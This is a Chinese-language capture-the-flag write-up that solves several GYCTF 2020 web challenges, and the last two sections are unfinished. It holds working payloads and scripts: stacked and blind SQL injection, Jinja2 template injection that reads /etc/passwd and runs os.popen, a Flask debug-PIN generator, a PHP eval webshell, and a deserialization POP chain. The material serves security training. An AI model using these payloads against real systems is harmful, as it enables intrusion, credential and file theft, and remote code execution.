[GYCTF 2020] Web复现 wp

Blacklist

要点:堆叠注入

简单测试,发现这里要做的是SQL注入,并且存在黑名单。
在这里插入图片描述
这里考察的是堆叠注入,尝试获取目标数据信息

数据库:1';show databases;
ctftraining
test
supersqli
.....
表:1';show tables;
FlagHere
words

查看表FlagHere和words的字段类型
1';show columns from `表名`;

堆叠注入的方法有3种

方法1:堆叠语法+预处理语句

SET @sql = 执行语句;	   //要执行的sql语句
PREPARE 名称 from @sql;    //名称随便取开心就好
EXECUTE 名称;

但这里对set进行了黑名单验证,因此这种方法无法使用

方法2:堆叠语法+修改表名
猜测在php层面的查询固定语句是:select * from worlds where id=$id
因为数据库里面的变化php是管不到的,因此我们的目标就是,将FlagHere表改名成words,并添加一个id字段。

alter table `FlagHere` add(id int null);
rename table `words` to `word1`;
rename tavle `FlagHere` to `words` ;

但这里对alterrename进行了黑名单验证,因此这种方法也无法使用

方法3:HANDLER
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

HANDLER语法结构->官方文档链接

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE

如:通过handler语句查询users表的内容

handler users open ; #指定数据表进行载入
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

构造playload:获取flag

?inject=1';HANDLER `FlagHere` OPEN;HANDLER `FlagHere` READ first; 

FlaskApp

要点:模板注入、Pin码、RCE漏洞

访问网站,提示了该网站由Flask框架搭建,进行简单测试,提供了base64加密和解密的功能,并开启了flask的dubug功能(输入错误的base64解码会出现报错界面)
在这里插入图片描述
在这里插入图片描述
猜测存在模板注入,构造payload:{{2+6}} base64加密,将结果进行解码,验证存在模板注入
在这里插入图片描述
在这里插入图片描述
构造payload获取python文件内容(通过之前的报错可以知道python文件名),循环查找catch_warnings,打开app.py读取内容

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

存储为python脚本,进行代码审计

from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
    text = StringField('BASE64加密',validators= [DataRequired()])
    submit = SubmitField('提交')
class NameForm1(FlaskForm):
    text = StringField('BASE64解密',validators= [DataRequired()])
    submit = SubmitField('提交')

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1


@app.route('/hint',methods=['GET'])
def hint():
    txt = "失败乃成功之母!!"
    return render_template("hint.html",txt = txt)


@app.route('/',methods=['POST','GET'])
def encode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64encode(text.encode())
        tmp = "结果  :{0}".format(str(text_decode.decode()))
        res =  render_template_string(tmp)
        flash(tmp)
        return redirect(url_for('encode'))

    else :
        text = ""
        form = NameForm(text)
        return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)
        flash( res )
        return redirect(url_for('decode'))

    else :
        text = ""
        form = NameForm1(text)
        return render_template("index.html",form = form, method = "解密" , img = "flask1.png")


@app.route('/&amp;lt;name&amp;gt;',methods=['GET'])
def not_found(name):
    return render_template("404.html",name = name)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)
    
    {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].ev"+"al("__im"+"port__('o'+'s').p"+"open('l'+'s').read()") }} {% endif %}{% endfor %}

PS:解码后会有大量类似于&#34;的字符,在网页中&#开头的是HTML实体

进行代码审计,可以发现存在WAF
在这里插入图片描述

PIN 码获取(预期解)

如果觉得无法理解,可以跳转到后面,查看字符串拼接的方法

在同一台机器上,多次重启Flask服务,PIN码值不改变,为一个固定值,获取pin码认证就可以在debug模式下执行命令,具体可参考:Flask debug 模式 PIN 码生成机制安全性研究笔记

生成pin码的前提:

(1)flask所登录的用户名。可以通过读取/etc/password
(2) modname 一般不变就是flask.app
(3)getattr(app, “name”, app.class.name)。python该值一般为Flask ,值一般不变
(4)flask库下app.py的绝对路径。在报错信息中可以获取此值为:
(5)当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡
(6)机器的id,对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。对于docker机则读取/proc/self/cgroup。其中id为1的/docker/字符串后面的内容作为机器的id

获取PIN码信息
(1)flask登录用户名,读取文件/etc/password,用户名为flaskweb
构造payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

(2)绝对路径,通过报错页面获取,路径为:/usr/local/lib/python3.7/site-packages/flask/app.py
(3)网络MAC地址,读取文件->sys/class/net/eth0/address,地址为 02:42:ae:01:6c:34,转成十进制2485410425908
构造payload:

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

(4)获取docker的id值,读取文件信息/proc/self/cgroup,第一行为机器码:1:name=systemd:/docker/d92c39cb606cca872affb0a0928f40331e403dc3efff09a09ebda9879bb01325
构造payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

获取了PIN码所需的值,写python脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410425908',# MAC十进制地址 str(uuid.getnode()),  /sys/class/net/ens33/address
    'd92c39cb606cca872affb0a0928f40331e403dc3efff09a09ebda9879bb01325'# 机器码id get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

获得PIN值
在这里插入图片描述
进入debug模式,输入PIN值,获得调试的权限,执行RCE命令,获取flag

import os
print(os.popen('ls /').read())
print(os.popen('cat /this_is_the_flag.txt').read())

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

符串拼接构造payload(非预期解)

遍历目录文件名,获得路径下的文件,并发现目标文件`this_is_the_flag.txt`
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

拼接或使用[::-1]切片读取*flag.txt,获得flag

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

Ezsqli

要点:无列名盲注,布尔盲注

访问网站,提供了输入框,可以判断是存在sql注入,只有五种回显,并对输入进行了检查
(1)NU1L (2)V&N (3)bool(flase) (4)SQL Injection Checked (5)Error Occured When Fetch Result.
使用burp进行fuzz测试,发现过滤了Information_schema.tables(length为484),手动测试发现存储表信息的innodb_table_statsinnodb_index_stats也被过滤了,这里用sys 来查找表名。
在这里插入图片描述
构造payload 布尔盲注,使用if 三元运算:if(select查询,1,2)
写脚本

import requests
def table_name():
    flag=""
    for i in range(1,100):
        mid=1
        low=32
        high=126
        k=0
        while(k<1):
            mid=(low+high)//2
            payload = 'if((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1))=%s),1,2)' %(i,mid)
            #print(payload)
            data={
                'id': payload
            }
            r=requests.post(url,data=data)
            if mark in r.text:
                flag=flag+chr(mid)
                print(flag)
                k=1
                break
            elif mark not in r.text:
                payload = 'if((ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1))>%s),1,2)' %(i,mid)
                #print(payload)
                data={
                    'id': payload
                }
                r=requests.post(url,data=data)
                if mark in r.text:
                    low = mid
                elif mark not in r.text:
                    high = mid


if(__name__=="__main__"):
    url="http://216e1fa5-51a7-4015-8ff5-af06f6f4c193.node3.buuoj.cn/index.php"
    starOperatorTime=[]
    mark='Nu1L'
    print("\n.................开始猜解表名.................\n")
    tname = table_name()

获得表名:f1ag_1s_h3r3_hhhhh
但是不知道列名。常见的无列名注入是结合联合查询,但是union select被过滤。这时可以通过加括号比较来判断这个表的列数,输入1&&((1,1)>(select * from f1ag_1s_h3r3_hhhhh))返回 Nu1L,说明有两列。
无列名关键payload:(select 'admin','admin')>(select * from users limit 1)
PS:无列名注入
进行两个select的查询比较,比较以按位比较,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的ASCII大,不管总长度如何,ASCII大的则大。
在这里插入图片描述
写脚本

import requests

def trans(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

def dump():
    flag = ''
    for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
        hexchar = ''
        for char in range(32, 126):
            hexchar = trans(flag+ chr(char))
            payload = '((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
            #print(payload)
            data = {
                    'id':payload
                    }
            r = requests.post(url=url, data=data)
            text = r.text
            if mark in r.text:
                flag += chr(char-1)
                print(flag)
                break
    print(flag.lower())

if(__name__=="__main__"):
    url="http://4176b541-e9ef-4fda-95b1-a81203c2eab9.node3.buuoj.cn/index.php"
    starOperatorTime=[]
    mark='Nu1L'
    print("\n................开始猜解字段值................\n")
    dump()

PS:因为mysql不区分大小写,最后要对FLAG{xxx}转为小写

EasyThinking

要点:thinkphp6版本漏洞、php7.0-7.4的版本漏洞、任意命令执行

一个简单的类似网站,存在源码泄露,访问www.zip可以下载源码,可以看出网站的框架为thinkphp
在这里插入图片描述
随意访问一个不存在的url地址会报错,得知该thinkPHP的框架版本为V6.0.0,
该版本存在任意文件操作漏洞,利用参考:ThinkPHP6任意文件操作漏洞分析
在这里插入图片描述
session可控,修改session(保持length为32位),session的后缀变为.php
当执行search搜索的内容会直接保存到/runtime/session/sess_xxxxxxx本地文件,进行getshell获取权限。
(1)注册账号,登录时burp抓包,修改session的值,后四位改为.php,这时候网站的session一直就是这个值
在这里插入图片描述
(2)搜索框写入一句话<?php eval($POST['a'])?>, 保存到了/runtime/session/sess_026efcc9dc8fcc55cf728c3fcce0.php文件内,利用蚁剑可以直接连接
可以看到根目录存在flag文件,但无权限访问,还有个readflag,需要执行readflag才能得到flag,
(3)查看phpinfo(),有disable_function限制,但PHP版本是7.3.1,php7.0-7.4的版本存在绕过disable_funtion被禁函数,可以实现命令执行。
参考exp:https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
在这里插入图片描述

修改一下exp代码里执行的文件名为/readflag.php,通过蚁剑直接上传文件,最后包含这个文件即可得到flag
在这里插入图片描述

Easyphp

要点:php反序列化字符串逃逸

通过访问www.zip可以获得源码,进行代码审计,对查询语句进行了严格的校验,无法利用sql注入

发现存在serialize()unserialize()函数,考虑可以利用反序列化攻击,尝试构造POP链:


在构造POP链前,一般先寻找会系统会自动执行的魔法方法:__wakeup() __destruct()函数。

(1)UpdateHelper::__destruct中有输出,将$sql实例化为User类的对象,echo使得在该类结束销毁时会调用User::__toString方法。

Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}

(2)User::__toString方法,用$nickname变量调用了info类中的update()函数,以$age变量作为参数,将$nickname实例化为Info类的对象,触发Info::__call方法

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}

(3)Info::__call方法,$CtrCase调用了dbCtrl类中的login()方法,参数由User.age的值传入,且其参数sql语句可以控制

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

完整的POP利用链:UpdateHepler::__destruct()->User::__toString->Info::__Call()->dbCtrl::login()

login()函数里进行了两次校验分别为(1)session的用户名是否为admin (2)登录用户名和密码是否正确,通过任一个校验都能实现登录。我们可以通过伪造sql语句将admin写入session用户名,再进行登录即可通过第一次校验。

构造payload,获取序列化的值

<?php 
class User
{
    public $id;
    public $age = null;
    public $nickname = null;
}

class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;

    public function __construct($age, $nickname)
    {
        $this->age = $age;
        $this->nickname = $nickname;
    }
}

Class UpdateHelper
{
    public $id;
    public $newinfo;
    public $sql;

    public function __construct($newInfo, $sql)
    {
        $newInfo = unserialize($newInfo);
        $upDate = new dbCtrl();
    }
}

class dbCtrl
{
    public $hostname = "127.0.0.1";
    public $dbuser = "root";
    public $dbpass = "root";
    public $database = "test";
    public $name = "admin";
    public $password;
    public $mysqli;
    public $token = "admin";

}

$db = new dbCtrl();
$user = new User();
$info = new Info("23333", "Tiaonmmn");
#echo serialize($info);
$updatehelper = new UpdateHelper("1", "");

$info->CtrlCase = $db;
$user->nickname = $info;
$user->age = "select password,id from username where username=?";
$updatehelper->sql = $user;
#echo serialize($updatehelper);
$realinfo = new Info("233333", "Tiaonmmn");
$realinfo->CtrlCase = $updatehelper;
echo serialize($realinfo);
?>

如果我们将刚才得到的payload直接用agenickname参数传入,其实际上只会被当成Info类里的一个很长的字符串,并不能被反序列化得到执行。

所以要想反序列化我们的payload,需要控制Info类对象的序列化串。

这里就需要利用safe()函数去实现字符串逃逸:' => hacker

字符串逃逸类型

  • 键逃逸
  • 值逃逸

字符串逃逸实现方式

  • 关键字增加
  • 关键字减少

这里我们使用关键字增加的方式(利用safe()函数的替换 由' => hacker 长度1变成长度6,逃逸出后面的内容)。修改我们获得的payload。

update.php当中POST传入新修改的payload,然后再login.php任意密码登录admin账户,获得flag

Ez_Express

要点:Node.js原型链污染

还没写完 ,更新。。。。。

抓包 发现该网页用的是node.js的Express模板搭建
在这里插入图片描述
https://www.jianshu.com/p/6e623e9debe3
http://www.shifeng-kaze.cn/index.php/archives/90/#ezExpress
https://www.icode9.com/content-1-640884.html
https://www.runoob.com/jquery/html-clone.html

Node Game

要点:CRLF头部注入,SSRF,

(1)利用SSRF,绕过IP=127.0.0.1的检测

https://guokeya.github.io/post/hz6_KR03h/
https://www.jianshu.com/p/504621863fa3
https://xz.aliyun.com/t/2894#toc-2
https://www.jianshu.com/p/504621863fa3

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值